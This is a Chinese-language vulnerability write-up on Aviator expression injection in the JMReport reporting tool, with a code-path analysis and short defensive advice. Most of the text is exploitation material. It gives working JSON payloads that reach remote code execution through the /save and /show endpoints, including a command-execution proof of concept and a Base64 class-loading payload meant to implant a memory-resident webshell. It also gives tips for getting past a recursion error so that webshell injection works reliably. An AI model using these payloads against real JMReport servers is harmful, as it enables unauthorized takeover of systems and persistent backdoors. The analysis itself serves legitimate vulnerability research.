jmreport积木报表aviator注入报错分析
字数 1345 2025-08-24 07:48:23

JMReport积木报表Aviator注入漏洞分析与利用

0x00 漏洞概述

JMReport积木报表存在Aviator表达式注入漏洞,攻击者可以通过构造特定的JSON数据实现远程代码执行。该漏洞主要出现在报表的/show接口处理过程中,当解析特定格式的报表配置时,未对用户输入的表达式进行充分过滤,导致任意代码执行。

0x01 漏洞复现

基本POC结构

{
  "excel_config_id": "c4ca4238a0b923820dcc509a6f758474",
  "rows": {
    "4": {
      "cells": {
        "4": {
          "text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('injectSuperRegHandler',Base64Utils.decodeFromString('yyxxx'),ClassLoader.getSystemClassLoader()",
          "style": 0
        }
      },
      "height": 25
    },
    "len": 96
  },
  "styles": [
    {
      "align": "center"
    }
  ],
  "cols": {}
}

利用步骤

  1. 通过/save接口保存恶意报表配置
  2. 通过/show接口触发漏洞执行

0x02 漏洞分析

触发流程

  1. show()方法通过ID读取JSON数据
  2. 调用ExpressUtil.a(json)处理JSON数据
  3. 创建a实例并依次调用三个方法:
    • this.c()
    • this.a()
    • this.b()

关键方法分析

c()方法

  • 循环处理JSON键值对获取数据
  • 使用正则匹配text内容
  • 如果以等号开头则调用ExpressUtil.a(str,str,str)

ExpressUtil.a(str,str,str)

  • 初始化大量类
  • 最终调用var4.a(b)进行正则匹配
  • 匹配text中的字符串如A123BB1等格式
  • 将这些字符串与0作为键值对通过SetEnv()存入环境变量

a(map, str)方法

  • 获取Script对象和环境变量键名
  • 遍历环境变量键名调用this.b(str)
  • b(str)方法将字母和数字分离并进行运算
  • 最终调用ExpressUtil.a(b)触发表达式注入

0x03 内存马写入问题

报错原因

当尝试写入内存马时,可能出现java.lang.StackOverflowError错误,这与pattern正则匹配有关。具体原因:

  1. a(map, str)方法中,如果var15不为null会再次调用this.a(map,str)
  2. this.b(str)计算结果为[4,4]时(即匹配到E5字符串)
  3. 导致方法递归调用,进入死循环

触发条件

  • text中含有符合正则[A-Z]{1,2}[0-9]{1,3}的字符串(如E5
  • rowscells的值与计算结果匹配(如rows=4cells=4

解决方案

  1. 对base64后的class数据进行URL编码
  2. 修改rowscells的值使其大于特定值:
    • rows键名 > 701
    • cells键名 > 998
  3. 避免在payload中使用E5等特定字符串

0x04 漏洞利用技巧

计算器弹窗POC

{
  "excel_config_id": "任意ID",
  "rows": {
    "4": {
      "cells": {
        "4": {
          "text": "=(use java.lang.Runtime;Runtime.getRuntime().exec(\"calc\"))",
          "style": 0
        }
      },
      "height": 25
    }
  },
  "styles": [{"align": "center"}],
  "cols": {}
}

内存马写入注意事项

  1. 确保base64编码后的payload不包含E5等触发字符串
  2. 可以使用以下结构避免递归:
{
  "excel_config_id": "任意ID",
  "rows": {
    "999": {  // 大于701的值
      "cells": {
        "999": {  // 大于998的值
          "text": "=(内存马payload)",
          "style": 0
        }
      },
      "height": 25
    }
  },
  "styles": [{"align": "center"}],
  "cols": {}
}

0x05 防御建议

  1. 对用户输入的表达式进行严格过滤
  2. 限制rowscells的数值范围
  3. 更新到最新版本,官方已发布修复补丁
  4. /save/show接口进行权限控制

0x06 总结

JMReport积木报表的Aviator注入漏洞通过精心构造的JSON数据可实现远程代码执行,在写入内存马时需要注意特定的字符串组合可能导致递归调用错误。通过调整payload结构或进行额外编码可以成功绕过这些限制实现稳定利用。

JMReport积木报表Aviator注入漏洞分析与利用 0x00 漏洞概述 JMReport积木报表存在Aviator表达式注入漏洞,攻击者可以通过构造特定的JSON数据实现远程代码执行。该漏洞主要出现在报表的 /show 接口处理过程中,当解析特定格式的报表配置时,未对用户输入的表达式进行充分过滤,导致任意代码执行。 0x01 漏洞复现 基本POC结构 利用步骤 通过 /save 接口保存恶意报表配置 通过 /show 接口触发漏洞执行 0x02 漏洞分析 触发流程 show() 方法通过ID读取JSON数据 调用 ExpressUtil.a(json) 处理JSON数据 创建 a 实例并依次调用三个方法: this.c() this.a() this.b() 关键方法分析 c() 方法 循环处理JSON键值对获取数据 使用正则匹配 text 内容 如果以等号开头则调用 ExpressUtil.a(str,str,str) ExpressUtil.a(str,str,str) 初始化大量类 最终调用 var4.a(b) 进行正则匹配 匹配 text 中的字符串如 A123 、 BB1 等格式 将这些字符串与0作为键值对通过 SetEnv() 存入环境变量 a(map, str) 方法 获取 Script 对象和环境变量键名 遍历环境变量键名调用 this.b(str) b(str) 方法将字母和数字分离并进行运算 最终调用 ExpressUtil.a(b) 触发表达式注入 0x03 内存马写入问题 报错原因 当尝试写入内存马时,可能出现 java.lang.StackOverflowError 错误,这与 pattern 正则匹配有关。具体原因: 在 a(map, str) 方法中,如果 var15 不为null会再次调用 this.a(map,str) 当 this.b(str) 计算结果为 [4,4] 时(即匹配到 E5 字符串) 导致方法递归调用,进入死循环 触发条件 text 中含有符合正则 [A-Z]{1,2}[0-9]{1,3} 的字符串(如 E5 ) rows 和 cells 的值与计算结果匹配(如 rows=4 , cells=4 ) 解决方案 对base64后的class数据进行URL编码 修改 rows 或 cells 的值使其大于特定值: rows 键名 > 701 cells 键名 > 998 避免在payload中使用 E5 等特定字符串 0x04 漏洞利用技巧 计算器弹窗POC 内存马写入注意事项 确保base64编码后的payload不包含 E5 等触发字符串 可以使用以下结构避免递归: 0x05 防御建议 对用户输入的表达式进行严格过滤 限制 rows 和 cells 的数值范围 更新到最新版本,官方已发布修复补丁 对 /save 和 /show 接口进行权限控制 0x06 总结 JMReport积木报表的Aviator注入漏洞通过精心构造的JSON数据可实现远程代码执行,在写入内存马时需要注意特定的字符串组合可能导致递归调用错误。通过调整payload结构或进行额外编码可以成功绕过这些限制实现稳定利用。